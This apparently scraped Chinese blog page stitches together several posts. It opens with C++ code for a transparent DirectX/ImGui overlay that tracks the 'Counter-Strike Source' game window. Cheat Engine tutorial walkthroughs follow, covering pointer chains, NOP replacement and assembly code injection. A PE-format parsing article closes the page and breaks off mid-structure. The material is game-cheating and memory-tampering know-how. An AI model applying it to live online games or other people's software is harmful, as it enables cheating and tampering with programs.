GameHwnd; static RECT WindowRectangle; static int WindowWide, WindowHeight; static LPDIRECT3D9 g_pD3D = NULL; static LPDIRECT3DDEVICE9 g_pd3dDevice = NULL; static D3DPRESENT_PARAMETERS g_d3dpp = {}; // 单选框设置状态 bool show_another_window = false; // imgui 回调函数 extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); // By: LyShark bool CreateDeviceD3D(HWND hWnd) if ((g_pD3D = Direct3DCreate9(D3D_SDK_VERSION)) == NULL) return false; ZeroMemory(&g_d3dpp, sizeof(g_d3dpp)); g_d3dpp.Windowed = TRUE; g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN; g_d3dpp.EnableAutoDepthStencil = TRUE; g_d3dpp.AutoDepthStencilFormat = D3DFMT_D16; g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_ONE; if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &g_pd3dDevice) < 0) return false; return true; void CleanupDeviceD3D() if (g_pd3dDevice) g_pd3dDevice->Release(); g_pd3dDevice = NULL; if (g_pD3D) g_pD3D->Release(); g_pD3D = NULL; void ResetDevice() ImGui_ImplDX9_InvalidateDeviceObjects(); HRESULT hr = g_pd3dDevice->Reset(&g_d3dpp); if (hr == D3DERR_INVALIDCALL) IM_ASSERT(0); ImGui_ImplDX9_CreateDeviceObjects(); LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam)) return true; switch (msg) case WM_SIZE: if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED) g_d3dpp.BackBufferWidth = LOWORD(lParam); g_d3dpp.BackBufferHeight = HIWORD(lParam); ResetDevice(); return 0; case WM_SYSCOMMAND: if ((wParam & 0xfff0) == SC_KEYMENU) return 0; break; case WM_DESTROY: PostQuitMessage(0); return 0; return DefWindowProc(hWnd, msg, wParam, lParam); // 绘制主方法 // www.cnblogs.com/lyshark void DrawImGUI() // 启动IMGUI自绘 ImGui_ImplDX9_NewFrame(); ImGui_ImplWin32_NewFrame(); ImGui::NewFrame(); static float f = 0.0f; static int counter = 0; static char sz[256] = { 0 }; ImGui::Begin("LyShark 辅助GUI主菜单"); ImGui::Text("这是一段测试字符串"); ImGui::Checkbox("弹出子窗口", &show_another_window); ImGui::SliderFloat("浮点条", &f, 0.0f, 1.0f); ImGui::InputText("输入内容", sz, 256, 0, 0, 0); if (ImGui::Button("点我触发")) counter++; ImGui::SameLine(); ImGui::Text("触发次数 = %d", counter); ImGui::Text("当前FPS: %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate); ImGui::End(); if (show_another_window) ImGui::Begin("我是子窗体", &show_another_window); ImGui::Text(" 您好,LyShark !"); if (ImGui::Button("关闭窗体")) show_another_window = false; ImGui::End(); ImGui::EndFrame(); // 自身窗口循环事件 void WindowMessageLoop() bool done = false; while (!done) // 每次都将窗体置顶并跟随游戏窗体移动 GetWindowRect(GameHwnd, &WindowRectangle); WindowWide = (WindowRectangle.right) - (WindowRectangle.left); WindowHeight = (WindowRectangle.bottom) - (WindowRectangle.top); DWORD dwStyle = GetWindowLong(GameHwnd, GWL_STYLE); if (dwStyle & WS_BORDER) WindowRectangle.top += 23; WindowHeight -= 23; // 跟随窗口移动 MoveWindow(hwnd, WindowRectangle.left + 8, WindowRectangle.top + 8, WindowWide - 11, WindowHeight - 11, true); // 开始消息循环 MSG msg; while (PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) TranslateMessage(&msg); DispatchMessage(&msg); if (msg.message == WM_QUIT) done = true; if (done) break; // 开始绘制 DrawImGUI(); g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, FALSE); g_pd3dDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, FALSE); g_pd3dDevice->SetRenderState(D3DRS_SCISSORTESTENABLE, FALSE); g_pd3dDevice->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0, 1.0f, 0); if (g_pd3dDevice->BeginScene() >= 0) ImGui::Render(); ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData()); g_pd3dDevice->EndScene(); HRESULT result = g_pd3dDevice->Present(NULL, NULL, NULL, NULL); if (result == D3DERR_DEVICELOST && g_pd3dDevice->TestCooperativeLevel() == D3DERR_DEVICENOTRESET) ResetDevice(); int main(int argc, char *argv[]) // 注册窗体类 WNDCLASSEX wc; // 附加到指定窗体上 wc.cbClsExtra = NULL; wc.cbSize = sizeof(WNDCLASSEX); wc.cbWndExtra = NULL; wc.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(0, 0, 0)); wc.hCursor = LoadCursor(0, IDC_ARROW); wc.hIcon = LoadIcon(0, IDI_APPLICATION); wc.hIconSm = LoadIcon(0, IDI_APPLICATION); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = (WNDPROC)WndProc; wc.lpszClassName = L" "; wc.lpszMenuName = L" "; wc.style = CS_VREDRAW | CS_HREDRAW; RegisterClassEx(&wc); // 得到窗口句柄 GameHwnd = FindWindowA(NULL, "Counter-Strike Source"); GetWindowRect(GameHwnd, &WindowRectangle); WindowWide = WindowRectangle.right - WindowRectangle.left; WindowHeight = WindowRectangle.bottom - WindowRectangle.top; // 创建窗体 hwnd = CreateWindowEx(WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TOOLWINDOW, L" ", L" ", WS_POPUP, 1, 1, WindowWide, WindowHeight, 0, 0, wc.hInstance, 0); // 显示窗口 SetLayeredWindowAttributes(hwnd, 0, RGB(0, 0, 0), LWA_ALPHA); SetLayeredWindowAttributes(hwnd, 0, RGB(0, 0, 0), LWA_COLORKEY); ShowWindow(hwnd, SW_SHOW); // 初始化D3D if (!CreateDeviceD3D(hwnd)) CleanupDeviceD3D(); UnregisterClass(wc.lpszClassName, wc.hInstance); return 0; // 更新窗体 UpdateWindow(hwnd); // 初始化ImGUI ImGui::CreateContext(); ImGuiIO& io = ImGui::GetIO(); (void)io; io.Fonts->AddFontFromFileTTF("c:/windows/fonts/simhei.ttf", 13.0f, NULL, io.Fonts->GetGlyphRangesChineseSimplifiedCommon()); ImGui::StyleColorsDark(); ImGui_ImplWin32_Init(hwnd); ImGui_ImplDX9_Init(g_pd3dDevice); // 开始执行绘制循环事件 WindowMessageLoop(); ImGui_ImplDX9_Shutdown(); ImGui_ImplWin32_Shutdown(); ImGui::DestroyContext(); CleanupDeviceD3D(); DestroyWindow(hwnd); UnregisterClass(wc.lpszClassName, wc.hInstance); return 0; }绘制效果如下:另外,Imgui也支持绘制到整个屏幕上,也可以当作全局GUI界面来使用。#include "imgui.h" #include "imgui_impl_dx9.h" #include "imgui_impl_win32.h" #include <d3d9.h> #include <tchar.h> #include <iostream> #pragma execution_character_set("utf-8") // 全局变量 static HWND hwnd; static HWND GameHwnd; static RECT WindowRectangle; static int WindowWide, WindowHeight; static LPDIRECT3D9 g_pD3D = NULL; static LPDIRECT3DDEVICE9 g_pd3dDevice = NULL; static D3DPRESENT_PARAMETERS g_d3dpp = {}; // 单选框设置状态 bool show_another_window = false; // imgui 回调函数 // By: LyShark extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); bool CreateDeviceD3D(HWND hWnd) if ((g_pD3D = Direct3DCreate9(D3D_SDK_VERSION)) == NULL) return false; ZeroMemory(&g_d3dpp, sizeof(g_d3dpp)); g_d3dpp.Windowed = TRUE; g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN; g_d3dpp.EnableAutoDepthStencil = TRUE; g_d3dpp.AutoDepthStencilFormat = D3DFMT_D16; g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_ONE; if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &g_pd3dDevice) < 0) return false; return true; void CleanupDeviceD3D() if (g_pd3dDevice) g_pd3dDevice->Release(); g_pd3dDevice = NULL; if (g_pD3D) g_pD3D->Release(); g_pD3D = NULL; // https://www.cnblogs.com/lyshark void ResetDevice() ImGui_ImplDX9_InvalidateDeviceObjects(); HRESULT hr = g_pd3dDevice->Reset(&g_d3dpp); if (hr == D3DERR_INVALIDCALL) IM_ASSERT(0); ImGui_ImplDX9_CreateDeviceObjects(); LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam)) return true; switch (msg) case WM_SIZE: if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED) g_d3dpp.BackBufferWidth = LOWORD(lParam); g_d3dpp.BackBufferHeight = HIWORD(lParam); ResetDevice(); return 0; case WM_SYSCOMMAND: if ((wParam & 0xfff0) == SC_KEYMENU) return 0; break; case WM_DESTROY: PostQuitMessage(0); return 0; return DefWindowProc(hWnd, msg, wParam, lParam); // 绘制主方法 // lyshark.com void DrawImGUI() // 启动IMGUI自绘 ImGui_ImplDX9_NewFrame(); ImGui_ImplWin32_NewFrame(); ImGui::NewFrame(); static float f = 0.0f; static int counter = 0; static char sz[256] = { 0 }; ImGui::Begin("LyShark 辅助GUI主菜单"); ImGui::Text("这是一段测试字符串"); ImGui::Checkbox("弹出子窗口", &show_another_window); ImGui::SliderFloat("浮点条", &f, 0.0f, 1.0f); ImGui::InputText("输入内容", sz, 256, 0, 0, 0); if (ImGui::Button("点我触发")) counter++; ImGui::SameLine(); ImGui::Text("触发次数 = %d", counter); ImGui::Text("当前FPS: %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate); ImGui::End(); if (show_another_window) ImGui::Begin("我是子窗体", &show_another_window); ImGui::Text(" 您好,LyShark !"); if (ImGui::Button("关闭窗体")) show_another_window = false; ImGui::End(); ImGui::EndFrame(); // 自身窗口循环事件 void WindowMessageLoop() bool done = false; while (!done) // 每次都将窗体置顶并跟随游戏窗体移动 GetWindowRect(GameHwnd, &WindowRectangle); WindowWide = (WindowRectangle.right) - (WindowRectangle.left); WindowHeight = (WindowRectangle.bottom) - (WindowRectangle.top); DWORD dwStyle = GetWindowLong(GameHwnd, GWL_STYLE); if (dwStyle & WS_BORDER) WindowRectangle.top += 23; WindowHeight -= 23; // 跟随窗口移动 MoveWindow(hwnd, WindowRectangle.left + 8, WindowRectangle.top + 8, WindowWide - 11, WindowHeight - 11, true); // 开始消息循环 MSG msg; while (PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) TranslateMessage(&msg); DispatchMessage(&msg); if (msg.message == WM_QUIT) done = true; if (done) break; // 开始绘制 DrawImGUI(); g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, FALSE); g_pd3dDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, FALSE); g_pd3dDevice->SetRenderState(D3DRS_SCISSORTESTENABLE, FALSE); g_pd3dDevice->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0, 1.0f, 0); if (g_pd3dDevice->BeginScene() >= 0) ImGui::Render(); ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData()); g_pd3dDevice->EndScene(); HRESULT result = g_pd3dDevice->Present(NULL, NULL, NULL, NULL); if (result == D3DERR_DEVICELOST && g_pd3dDevice->TestCooperativeLevel() == D3DERR_DEVICENOTRESET) ResetDevice(); int main(int argc, char *argv[]) // 注册窗体类 WNDCLASSEX wc; // 附加到整个屏幕上 wc.cbClsExtra = NULL; wc.cbSize = sizeof(WNDCLASSEX); wc.cbWndExtra = NULL; wc.hbrBackground = (HBRUSH)CreateSolidBrush(RGB(0, 0, 0)); wc.hCursor = LoadCursor(0, IDC_ARROW); wc.hIcon = LoadIcon(0, IDI_APPLICATION); wc.hIconSm = LoadIcon(0, IDI_APPLICATION); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = (WNDPROC)WndProc; wc.lpszClassName = L" "; wc.lpszMenuName = L" "; wc.style = CS_VREDRAW | CS_HREDRAW; ::RegisterClassEx(&wc); // 屏幕宽度和高度 WindowWide = GetSystemMetrics(SM_CXSCREEN); WindowHeight = GetSystemMetrics(SM_CYSCREEN); // 创建窗体 HWND hwnd = CreateWindowEx(WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TOOLWINDOW, L" ", L" ", WS_POPUP, 1, 1, WindowWide, WindowHeight, 0, 0, wc.hInstance, 0); // 显示窗口 SetLayeredWindowAttributes(hwnd, 0, 1.0f, LWA_ALPHA); SetLayeredWindowAttributes(hwnd, 0, RGB(0, 0, 0), LWA_COLORKEY); ShowWindow(hwnd, SW_SHOW); // 初始化D3D if (!CreateDeviceD3D(hwnd)) CleanupDeviceD3D(); UnregisterClass(wc.lpszClassName, wc.hInstance); return 0; // 更新窗体 UpdateWindow(hwnd); // 初始化ImGUI ImGui::CreateContext(); ImGuiIO& io = ImGui::GetIO(); (void)io; io.Fonts->AddFontFromFileTTF("c:/windows/fonts/simhei.ttf", 13.0f, NULL, io.Fonts->GetGlyphRangesChineseSimplifiedCommon()); ImGui::StyleColorsDark(); ImGui_ImplWin32_Init(hwnd); ImGui_ImplDX9_Init(g_pd3dDevice); // 开始执行绘制循环事件 WindowMessageLoop(); ImGui_ImplDX9_Shutdown(); ImGui_ImplWin32_Shutdown(); ImGui::DestroyContext(); CleanupDeviceD3D(); DestroyWindow(hwnd); UnregisterClass(wc.lpszClassName, wc.hInstance); return 0; }绘制效果如下:

CE修改器入门:查找共享代码

本关我们将学习共享代码,在C语言中角色属性都是以结构体的方式进行存储的,而结构体所存储的信息都是连续性的,这一关我们将会解释如何处理游戏中的共用代码,这种代码是通用在除了自己以外的其他同类型对像上的常常你在修改游戏的时候, 你找到了一个单位的健康值 或是你自己角色的生命值, 你会发现一种情况: 如果你把生命值相关代码移除的话,其结果是你的角色无敌, 但你的敌人也无敌了,这就是共享代码搞的鬼。步骤 9: 注入++: (密码=31337157)本关模拟一种游戏,其中左边为我方,而右边为敌人,当我们点击重新启动并自动执行的时候我方血量不足会死亡。你的任务是找到改写健康的代码, 并且修改以至于你可以获得胜利,但"绝不能"使用锁定HP的方法。提示:在遍历血量的时候应该使用单浮点数进行搜索。1.首先你需要根据第一关中的搜索方法,分别将下面四个人物的血量搜索到,下面我已经搜索好并做好了备注。2.你可以分别在每个动态地址上面,右键选择【找出是什么改写了这个地址】,会发现这四个地址都指向了同一条汇编代码,这也就说明了其使用了共享代码。3.我们直接在每一个地址上面右键选择【浏览相关内存区域】,然后对比四个地址会发现一些规律。我方队友的结构敌人的结构上方的四个图片可看出我方队友编号为1而敌人的编号为2,我们可以通过编号来判断是否为敌人,来决定要不要让其掉血。当然也可以判断名字的开头字母来决定,如果是D或E开头,则说明是队友不能让其掉血,否则的话则直接执行扣血代码。4.接下来我们要注入代码了,CE切换到内存浏览窗口,然后选择【工具 -> 自动汇编】,【模板 -> 代码注入】点击确定。上方原始代码是 mov [ebx+04],eax,意思就是,血量处于 ebx+04 的位置。5.为了能够遍历到状态位,我们需要计算出队伍编号和血量的偏移值,观察下图发现 Dave 血量地址是 019E0794 和队伍编号地址 019E07A0,两者十六进制相减(019E07A0 - 019E0794 = 0C)得到0C,如果血量是 ebx+04,那么队伍编号就应该是 ebx+04+0C 就是 ebx+10。6.直接写以下汇编代码,然后执行,注入完成后回到练习程序中然后点击【重新启动游戏并自动执行】,本关会顺利通过。

CE修改器入门:查找多级指针

本关是第6关的加强版,CE 6.X 教程中的4级指针比5.X的要简单些。多级指针就像玩解谜游戏一样,谜团不只一个,盒子中还有盒子。这里面是4级指针,游戏中也有比如8级指针,12级指针等等,思路都是一样的。在这一步将解释如何使用多级指针。在第 6 步,你已经清楚 1 级指针的概念和用途,并可以利用数值的首个地址找到存放数据真正的基址。在本关中,你将看到 4 级指针,它由第一个指针指向第二个指针,再由第二个指针指向第三个指针,由第三个指针指向第四个指针,最终指向健康值的真正基址地址。步骤 8: 多级指针: (密码=525927)开始的几步与在第 6 步中的操作基本相同。找出是什么访问了这个地址,然后记录下动态地址接着我们逐级向下查找,在查找的过程中,分别记录下动态地址,以及所对应的偏移地址最后将这些地址相加,并锁定数值为5000,点击改变指针,然后就可通关啦1.第一步你需要按照第二关中的方法找到,动态地址,然后加入到地址栏中。查找一级指针: 找到血量地址 0169B5F8(动态地址),然后 右键 => 查找写入然后回到教程程序中,点击 改变数值按钮 ,如下点击详细信息出现代码的详细信息。这个该怎么看呢?ESI= 0169B5E0 ESI+ 18 = 0169B5F8 就是血量的地址,也就是说。想找到血量的地址就要找到ESI,注意看了图中一行字: >>>> 要查找地址的指针的可能值是 0169B5E0如果您觉得分析太麻烦,就按CE的建议来,这里面要提醒各位注意 可能 这个词,也就是说不一定全对。第6关也提到过偏移的概念。这里面的一级偏移是 18总结:一级偏移是 18 下一个搜索目标是 0169B5E0查找二级指针: 下面找ESI,勾上HEX(16进制),输入 0169B5E0 新扫描。然后把新地址 0169B5E0 添加到地址栏,在地址上右键=>选择 查找访问的地址。一定要注意:这里面和上面的操作不同,第一次是查找写入的地址,这次选择的是查找访问的地址。如果没有出现代码信息。我们就到 Tutorial 中点击一下 改变数值 按钮,之后会收集到两条指令,cmp 指令跟指针没什么关系,对我们有用的是第二条指令 mov esi,[esi]。这里由于是 mov esi,[esi] 默认我们将其偏移地址看作是 0 不过问题来了,我们发现,这里提示的地址和上一次提示的地址是一样的,这是为什么呢?CE 默认使用硬件断点的方式,断点只能停在指令执行之后,而这条指令正好是把 esi 原来指向的地址中的值再赋值给 esi,所以执行之后 esi 的值已经是被覆盖掉的值了,而我们想知道的恰恰是执行这条指令之前的 esi 值, esi 就是这个我们监视的地址。所以直接搜索这个地址即可。将 0168495C 这个地址添加到下方,然后使用 找出是什么访问了这个地址,再来一遍。最后得出:二级偏移是 0 ,下一个目标是 0169B5E0查找三级指针: 接下来和查找一级指针方法相同,这里我们在弹出的框中选择第二条指令。可看到二级偏移是 14继续查找三级指针,方法同上,这里三级指针是0c。最后得出:三级级偏移是 0c ,下一个目标是 01684628查找四级指针: 继续搜索01684628 这个动态地址,如下。一定要记住:在CE中显示绿色的地址是基址,黑色的是动态地址。如果有多个绿色地址,一般情况下我们选择第一个。这里我们已经找到了所有的地址,接下来串一下这些地址看看00601660 + c + 14 +0 + 18把基址(一级指针) "Tutorial-i386.exe"+1FD660 的值取出来,加上一级偏移 0C,当做地址,这是二级指针的地址,再把二级指针的值取出来,加上 14,这是三级指针的地址,依次类推。添加并测试指针: 最后测试,指针是否生效。添加后锁定数值为5000,然后点击例子中的改变指针按钮,看是否能通关。多级指针要注意的地方:1、1级指针是 查找写入,其余全是 查找访问。2、绿色的地址是基址,黑色是动态地址。3、添加指针时注意用模块地址。4、指针是由基址在偏移组成的,所以在教程中我们只要找到4个偏移和1个基址就可以了。

CE修改器入门:运用代码注入

从本关开始,各位会初步接触到CE的反汇编功能,这也是CE最强大的功能之一。在第6关的时候我们说到指针的找法,用基址定位动态地址。但这一关不用指针也可以进行修改,即使对方是动态地址,且功能更加强大。代码注入是将一小段你写出的代码注入到目标进程中并执行它的技巧。在这一步教程中,你将有一个健康值和一个每按一次将减少 1 点健康值的按钮,你的任务是利用"代码注入",使每按一次按钮增加2点的健康值。步骤 7: 代码注入: (密码=013370)教程中每按一次按钮,会自动减少1点血,你的任务是将其改成每按一次按钮增加2点血。还记得第5关的不伤血的修改方法吗?这一关就是第5关的加强版。推荐你从原代码中删除减少健康值的那行代码,否则你得加 3 点健康值。老样子,根据动态数据反复查找,查找血量的地址,然后再地址上 右键=> 查找写入的地址,为啥不是查找访问的地址呢?这里不需要明白,照着做就可以了然后按一下打我按钮,会出现一行汇编代码 0042585D - 83 AB 78040000 01 - sub dword ptr [ebx+00000478],01 <<这条指令的作用是,将[ebx+678]地址中的数据减1,sub为减法的汇编格式。双击那行代码,看下详细信息:这行代码什么意思呢?sub 大家都知道是减少的意思图示红框处:EBX=0184D5E0,我们用计算器算一下(注意是16进制的)184D5E0+ 478 = 184DA58 ---> 正好是血量的动态地址sub [ebx+00000478] = sub [184DA58] 够清楚了吧,这就是让血量减1的代码(1省略了),其实CE中也有提示 Decrement by 1 。明白了这行代码的意思,我们回去看看Tutorial的要求:把减1改成加2。继续操作。选择反汇编程序,如下步骤点击工具,选择自动汇编第一步:选择CT表框架代码第二步:选择代码注入对应的地址不要搞错了,是"Tutorial-i386.exe"+2585D,这里不需要动,保持默认就可以然后按确定,会自动生成汇编代码,这些代码是什么意思,我们不用管,找到关键的一行:sub dword ptr [ebx+00000478],01将原来的sub dword ptr [ebx+00000478],01,改成 add dword ptr [ebx+00000478],02,每次递增2然后在地址栏就可以看到这个脚本了,点击前面的 单选框 执行,然后点击Tutorial中的打我,这关就可以过了。你感觉到他的神奇了吗?逆天级的修改:1、怪物每次打我从伤血变成加血。2、子弹越打越多。3、钱越花越多。如果你学会了这一关,你已经脱离菜鸟的行列了,已经可以对付绝大部分的游戏了。

CE修改器入门:寻找指针基址

上一步阐述了如何使用代码替换功能对付变化位置的数据地址,但这种方法往往不能达到预期的效果,所以我们需要学习如何利用指针,在本关的 Tutorial.exe 窗口下面有两个按钮,一个会改变数值,另一个不但能改变数值而且还会改变数值在内存中存储的位置。接下来我们将找到内存中的基址, 为什么要找指针,在前面的教程中,如果各位细心观察的话就会发现 在我截图中的出现地址和你的地址并不相同。也就是说,这些地址是一直在变化的,我们把它叫做动态地址。步骤 6: 指针: (密码=098712)问题:电脑是如何每次都知道这个动态地址究竟是多少的?其实并不是所有的地址都会变化的,内存中也有不会变化的地址,我们将不会变化的地址,我们把它叫做基址。实现思路:用不变的地址定位会变化的地址,即用基址定位动态地址。1.首先老样子,我们先找到程序的动态地址,如下我们搜索100。2.点击改变数值后,继续搜索。3.找到血量的地址后,加入到地址栏,然后在地址上按 右键=>找出是什么改写了这个地址,然后点击 改变数值 按钮,出现一行代码(见第五关),双击那行代码(或者点击详细信息)。4.然后出现一个信息框,具体的代码是什么意思就不解释了,CE会告诉你下一步该做什么,图:CE让我们下一步找 01732898(在你电脑显示可能不是这个地址,因为它是动态地址),继续操作:5.返回到CE,点击新扫描,先勾上HEX,填入01732898,点击首次扫描。一定要勾上HEX,否则CE在搜索16进制字母时会报错。搜索结果出来了:这个地址 00601630 显示的是 绿色 的,你的电脑上也应该是这个地址,因为它就是基址。记住:在CE中显示绿色的地址是基址,黑色的地址是动态地址6.手动添加一个指针,点击 手动添加地址图示操作,输入 00601630 然后点击确定7.注意看:指针在地址栏显示的是 p-> 地址 这种类型的我们将数值改成5000,再点击前面的锁定然后点击 Tutorial 中的 改变指针 按钮,这关就可以过了。这一关相当重要,大家一定要多多练习(学会前六关,你已经可以修改大部分的游戏了)说明:1、并不是所有的游戏都要找基址然后做指针,有的游戏直接就是基址2、基址是绿色的,如果找到最后有多个绿色地址,在一般情况下选择第1个

CE修改器入门:代码替换功能

某些游戏重新开始时,数据会存储在与上次不同的地方, 甚至游戏的过程中数据的存储位置也会变动。在这种情况下,你还是可以简单几步搞定它。这次我将尽量阐述如何运用"代码替换"功能,第五关的数值每次启动教程的时候都会存放在内存不同的位置,所以地址列表中的固定地址是不起作用的。步骤 5: 代码替换 (密码=888899)本关的目的就是要让改变数值的按钮失效,很神奇,但是有什么用呢?1、在游戏中我们可以利用此功能使金钱数量不会发生变化。2、可以利用此功能让怪物攻击失效,从而实现无敌的效果。3、让弹药不会减少,从而实现无限弹药的效果好处太多了,本关的方法就可以轻松实现上面的功能。提示:如果你以足够快的速度锁定住该地址,"下一步"按钮也会变为可点击的。1.首先先找到血量的内存地址,不会找的先去看前面几关,这里就不重复了,然后 在地址上 右键=>找出是什么改写了这个地址:2.在弹出的小窗口中点击是按钮 ,会弹出一个如下所示的小窗口,这个窗口此时没有任何数据。3.然后我们回到教程中,点击教程中的 改变数值 按钮。会出现如下代码mov[eax],edx不用管他的意思。4.小窗口中会出现一行代码,选中代码,然后点击替换按钮。5.最后一步:直接按确定就可以6.然后回到附加的程序,点击改变数值的按钮,你会发现按钮已经没有用了。本关操作已经结束了操作非常简单,但是为什么这样就会使按钮的功能失效:改变数值按钮其实是通过 代码 0045aecb - 89 10 - mov [eax],edx 来实现数值改变的。我们在的最后一步操作就是要把这行代码替换成什么也不做(英文是 Nop),这样就会让按钮的功能失效。

CE修改器入门:浮点数的扫描

在前面的教程中我们使用4字节的方式进行扫描,但有些游戏使用了"浮点数"来存储数值,浮点数是带有小数点的数值(如 5.12 或 11321.1),正如本关中的健康和弹药,两者都以浮点方法储存数据,不同的是,健康值为单精度浮点数,而弹药值为双精度浮点数。步骤 4: 浮点数 (密码=890124)点击"打我"将减少一些健康值,而点击"开火"则消耗掉0.5的弹药。你得把这两项都修改到 5000 或者更多才能过关。"精确数值"扫描的方式虽然也可以完成本关的工作,但你应该试试其它更简练的扫描方式。1.在扫描浮点数时,我们需要将数值类型改为浮点数,浮点数扫描时不必输入后的小数 97.0000 扫描时输入97就可以了。2.此时将97这个浮点数改为6000即可。3.接着搜索双浮点数,也就是找到弹药的内存地址。4.最后改写弹药将99.5改成6000即可通关。5.最后,点击下一步,本关通过。这里面要强调的是:浮点数的长度是4字节,使用4字节也可搜索到浮点数,但需要使用模糊搜索。双浮点数的长度是8字节,使用8字节也可搜索到浮点数,但需要使用模糊搜索现在好多游戏都采用浮点数来处理。例如您在扫描游戏时发现一个数值是 1120403456 这时候您就要想到它是浮点数。4字节的 1120403456 = 浮点数的 100 目前的游戏大多以4字节(含浮点数)为主。

PE格式:手写PE结构解析工具

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,在PE文件中我们最需要关注,PE结构,导入表,导出表,重定位表,下面将具体介绍PE的关键结构,并使用C语言编程获取到这些结构数据.参考文献: [琢石成器 Win32汇编语言程序设计 - 罗云彬] 整理学习笔记,精简内容,翻译汇编代码C语言化在任何一款操作系统中,可执行程序在被装入内存之前都是以文件的形式存放在磁盘中的,在早期DOS操作系统中,是以COM文件的格式存储的,该文件格式限制了只能使用代码段,堆栈寻址也被限制在了64KB的段中,由于PC芯片的快速发展这种文件格式极大的制约了软件的发展。为了应对这种局面,微软的工程师们就发明了新的文件格式(EXE文件),该文件格式在代码段前面增加了文件头结构,文件头中包括各种说明数据,如程序的入口地址,堆栈的位置,重定位表等,显然可执行文件的格式是操作系统工作方式的真实写照,不同的系统之间文件格式千差万别,从而导致不同系统中的可执行文件无法跨平台运行。Windows NT 系统中可执行文件使用微软设计的新的文件格式,也就是至今还在使用的PE格式,PE文件的基本结构如下图所示:在PE文件中,代码,已初始化的数据,资源和重定位信息等数据被按照属性分类放到不同的Section(节区/或简称为节)中,而每个节区的属性和位置等信息用一个IMAGE_SECTION_HEADER结构来描述,所有的IMAGE_SECTION_HEADER结构组成了一个节表(Section Table),节表数据在PE文件中被放在所有节数据的前面.在PE文件中将同样属性的数据分类放在一起是为了统一描述这些数据装入内存后的页面属性,由于数据是按照属性在节中放置的,不同用途但是属性相同的数据可能被放在同一个节中,PE文件头被放置在节和节表的前面,上面介绍的是真正的PE文件,为了兼容以前的DOS系统,所以保留了DOS的文件格式,接下来将依次介绍这几种数据结构.我们需要编程实现读取PE结构,在读取PE文件中的数据的前提下,我们先来打开文件,然后才能读取。#include <stdio.h> #include <Windows.h> #include <Imagehlp.H> #pragma comment(lib,"Imagehlp.lib") HANDLE OpenPeByFileName(LPTSTR FileName) LPTSTR peFile = FileName; HANDLE hFile, hMapFile, lpMapAddress = NULL; DWORD dwFileSize = 0; hFile = CreateFile(peFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); dwFileSize = GetFileSize(hFile, NULL); hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, dwFileSize, NULL); lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwFileSize); if (lpMapAddress != NULL) return lpMapAddress; int main() HANDLE lpMapAddress = NULL; lpMapAddress = OpenPeByFileName(L"d://x32dbg.exe"); return 0; }◆DOS/NT 头结构◆在上面PE结构图中可知PE文件的开头部分包括了一个标准的DOS可执行文件结构,这看上去有些奇怪,但是这对于可执行程序的向下兼容性来说却是不可缺少的,当然现在已经基本不会出现纯DOS程序了,现在来说这个IMAGE_DOS_HEADER结构纯粹是历史遗留问题。DOS头结构: PE文件中的DOS部分由MZ格式的文件头和可执行代码部分组成,可执行代码被称为DOS块(DOS stub),MZ格式的文件头由IMAGE_DOS_HEADER结构定义,在C语言头文件winnt.h中有对这个DOS结构详细定义,如下所示:typedef struct _IMAGE_DOS_HEADER { WORD e_magic; // DOS的头部 WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD 